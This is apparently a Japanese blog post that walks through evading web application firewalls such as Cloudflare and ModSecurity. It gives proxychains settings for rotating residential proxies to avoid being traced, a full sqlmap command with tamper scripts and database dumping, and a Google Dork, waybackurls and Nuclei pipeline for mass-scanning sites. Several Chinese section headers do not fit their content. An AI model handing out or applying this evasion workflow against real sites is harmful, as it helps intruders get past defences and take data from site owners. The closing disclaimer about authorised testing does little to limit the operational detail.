最近、WAF（Web Application Firewall）のこと、特にどうやってそれを「テスト」するか、みたいなことをよく考えてる。うん、まあ、平たく言えば「突破」するって話なんだけど。なんか、ただツールを回すだけじゃなくて、その裏にあるロジックとか、どうしてブロックされたり、逆にするっと抜けられたりするのか、そのへんが面白いなと思って。
よく聞かれるのが、「SQLMap使ってもCloudflareにすぐ弾かれるんだけど、どうすればいいの？」ってやつ。わかる。めっちゃわかる。あれ、最初は絶望するよね。今日はその辺の話を、自分用のメモみたいな感じで、ちょっとまとめてみようかなって。正直、プロ中のプロってわけじゃないから、まあ、一個人の試行錯誤の記録みたいなもんだと思って読んでくれると嬉しい。
先說結論
いきなり結論から言うと、WAF、特にCloudflareとかModSecurityみたいな手強いやつを相手にするなら、ツールを組み合わせるのがマジで大事。具体的には、「SQLMap」に「ProxyChains」をかませて、さらに「tamperスクリプト」で攻撃コードを偽装する。この三点セット。これが今のところの最適解に近いんじゃないかなって、個人的には思ってる。一個一個は知ってても、この組み合わせで「なんでうまくいくのか」を理解するのがポイント。
そもそもWAFって何で攻撃を止められるの？
ちょっとだけおさらい。WAFっていうのは、ウェブサイトの門番みたいなやつ。変なリクエスト、例えばSQLインジェクションみたいな典型的な攻撃コードが飛んできたら、「お前は通さん！」ってブロックしてくれるセキュリティの仕組み。
じゃあ、どうやって「変なリクエスト」だって判断してるかっていうと、だいたいはパターンマッチング。リクエストの中に ' OR 1=1-- とか UNION SELECT みたいな、教科書に載ってるようなSQLインジェクションのコードが入ってたら、即座に「はい、アウトー！」って感じで403エラーを返してくる。あとは、同じIPアドレスから短時間に大量のリクエストが来たら「怪しい！」って判断してブロックしたりもする。賢いよね。
だから、こっちがやるべきことは、その「パターン」にいかにして引っかからないようにリクエストを送るか、ってことになる。そこで出てくるのが、さっきのツールたち。
代表的なWAF、CloudflareとModSecurityってどう違うの？
WAFと一口に言っても色々あるけど、特によく名前を聞くのがCloudflareとModSecurity。この二つ、似てるようで結構性格が違うんだよね。
| 項目 | Cloudflare | ModSecurity |
|---|---|---|
| タイプ | クラウド型（CDNサービスの一部） | オープンソース（サーバーにインストール） |
| 防御の考え方 | 世界中のトラフィックから学習して、賢くブロックする感じ。どっちかというと「振る舞い検知」が得意。AIっぽい。 | 基本は「ルールセット」命。細かく定義されたルールに違反したらブロック。職人技って感じ。 |
| 突破の難易度 | IPベースのブロックが厳しいから、Proxyがほぼ必須。賢い分、パターンをちょっと変えただけじゃすぐバレることも。 | ルールがわかれば、そのルールをかいくぐる「抜け道」を見つけやすいこともある。逆に、ガチガチに固められてると手も足も出ない。 |
| よく見る場所 | スタートアップから大企業まで、世界中のモダンなWebサイト。 | 日本のレンタルサーバーとかだと、大体このModSecurityが裏で動いてることが多いよね。AWS WAFみたいなもっと複雑なやつとはちょっと違うけど、基本は似てる。 |
| 個人的な印象 | 金持ち喧嘩せず、みたいな。力技で来る相手をいなすのがうまい。 | 頑固な門番。決まった合言葉（ルール）以外は絶対通さないマン。 |
怎麼做：実際にWAFをバイパスする手順
よし、じゃあ実際にどうやって設定していくか。ここからはコマンドとかも出てくるけど、やってることはシンプルだから大丈夫。
ステップ1：ProxyChainsの設定
まず、IPアドレスをガチャガチャ変えて、WAFに「こいつ、また来たな」って思わせないようにするための準備。ProxyChainsっていうツールを使う。これは、自分のPCから出る通信を、色々なプロキシサーバー経由にしてくれるやつ。
設定ファイルを開いて編集する。ターミナルでこう打つ。
sudo mousepad /etc/proxychains.confmousepad の部分は、自分が使ってるテキストエディタ（nanoとかvimとか）に変えてね。ファイルを開くと、最初の方はTorを使う設定になってるはず。
# socks4 127.0.0.1 9050これは使わないから、行の頭に # をつけてコメントアウト。で、ファイルのいちばん下に、自分が契約してるResidential Proxy（普通の家庭用回線に見えるプロキシ）のリストを貼り付ける。こんな感じで。
http 111.222.333.444 8080 user password
http 111.222.333.445 8080 user password
...次に、プロキシをどう使うかの設定。dynamic_chain とか strict_chain はコメントアウトして、random_chain を有効にする。こうすると、リストの中からランダムでプロキシを選んでくれるから、より追跡されにくくなる。あと、quiet_mode も有効にしておくと、余計なログが出なくて画面がスッキリする。
#dynamic_chain
#strict_chain
random_chain
#...
quiet_mode
これで保存すれば、ProxyChainsの準備はOK。ちゃんと設定できたか不安なときは、proxychains curl http://ipinfo.io/ip を何回か実行してみて。毎回IPアドレスが変わってれば成功。
ステップ2：SQLMapに魔法をかける
いよいよ主役のSQLMap。でも、普通に使うだけじゃダメ。ProxyChainsを経由させて、さらにtamperスクリプトで攻撃コードをWAFが騙される形に変形させる。
コマンドはこんな感じになる。
proxychains sqlmap -u 'http://test.site/page.php?id=1' --dbs --batch -p id --random-agent --tamper=between,space2comment --dbms mysql --tech=B --no-cast --flush-session --threads 10うわ、長いって思うよね。わかる。でも分解すると簡単。
proxychains sqlmap -u '...': 「proxychains経由でsqlmapをこのURLに実行してね」って意味。--dbs --batch: 「見つかったデータベース名を全部表示して。途中で質問しないでね」っていうおまじない。--random-agent: User-Agentを毎回ランダムに変えてくれる。これもWAF対策の一つ。--tamper=between,space2comment: これがキモ。本当に。SQLMapに元々入ってる「tamperスクリプト」っていうのを指定してる。betweenは、' '（スペース）を' BETWEEN 'A' AND 'Aみたいに、WAFが検知しにくい形に変えてくれる。space2commentはスペースを/**/みたいなコメントに置き換えるやつ。こういうのを組み合わせることで、WAFのパターンマッチングをすり抜ける。--dbms mysql --tech=B: 「データベースはMySQLだと思う。あと、チェック方法はBooleanベースでお願い」って指定。絞った方が速い。--threads 10: 処理を速くするためのおまじない。まあ、これは環境によるかな。
このコマンドを実行すると、今まで403エラーで門前払いされてたのが嘘みたいに、SQLMapがデータベースの情報を抜き出してきてくれることがある。そうなったら、もう、ガッツポーズだよね。
反例與誤解釐清
ここで大事なのが、ツールは完璧じゃないってこと。例えば、Ghauriっていう別のSQLインジェクションツールがあるんだけど、これでスキャンしたら最初「脆弱性あり！」って出るのに、詳しく調べてみたら「やっぱ違ったわ、ごめん（false positive）」みたいになることが結構ある。
ツールが「脆弱性なし」って言ったからって、本当に安全とは限らない。逆もまた然り。結局は、ツールが出した結果を鵜呑みにしないで、なんでそういう結果になったのかを考えるのが大事なんだと思う。WAFにブロックされたら、「どのルールに引っかかったんだろう？」「じゃあ、このtamperスクリプトを試してみたらどうかな？」みたいに、試行錯誤するプロセスそのものが、一番のスキルアップになるんじゃないかな。
採購/預算思路：じゃあ、これを大規模にやるには？
一個のサイトをじっくり見るのもいいけど、例えば自社の管理する大量のサイトのセキュリティチェックをしたい、みたいなとき。一個一個手でやってたら日が暮れちゃう。
そういう時は、もっと自動化する。やり方はいろいろあるけど、例えば…
- 対象リストの作成: Google Dorkとかを使って、似たような作りのサイト（例えば同じフレームワークを使ってるサブドメインとか）をざっとリストアップする。
- URLの収集:
waybackurlsとかを使って、それらのサイトに存在するURLを過去のデータから根こそぎ集める。 - パターンの抽出: 集めた大量のURLの中から、
gfみたいなツールでSQLインジェクションの影響を受けそうなURL（?id=とか?category=みたいなパラメータがついてるやつ）だけを絞り込む。 - 自動スキャン: 最後に、Nucleiみたいな高速スキャナに、SQLインジェクション用のテンプレートを食わせて、リストにあるURLを一気にスキャンさせる。
ここまでやると、もう個人の趣味っていうよりは、ちゃんとしたセキュリティ業務の領域だね。でも、基本的な考え方は、SQLMapで一個のサイトを試すのと一緒。「いかに効率よく、怪しい箇所を見つけ出すか」っていうパズルみたいなもの。
…と、まあ、こんな感じでつらつらと書いてみたけど、結局のところ、WAFバイパスって、攻撃者と防御者のいたちごっこなんだよね。今日通用したテクニックが、明日にはもう通用しなくなってるかもしれない。だから、ツールの使い方を覚えるだけじゃなくて、「なんでこれで通るのか」っていう根本を理解しておくのが、一番腐らないスキルになるんだろうな、なんて思う。
一応言っておくけど、これはあくまで学習とか、許可された範囲での脆弱性診断のための知識だからね。悪用は、ダメ、絶対。約束だよ。
みんなはWAFをテストする時、どんな工夫してる？もし面白い方法があったら、ぜひ教えてほしいな。
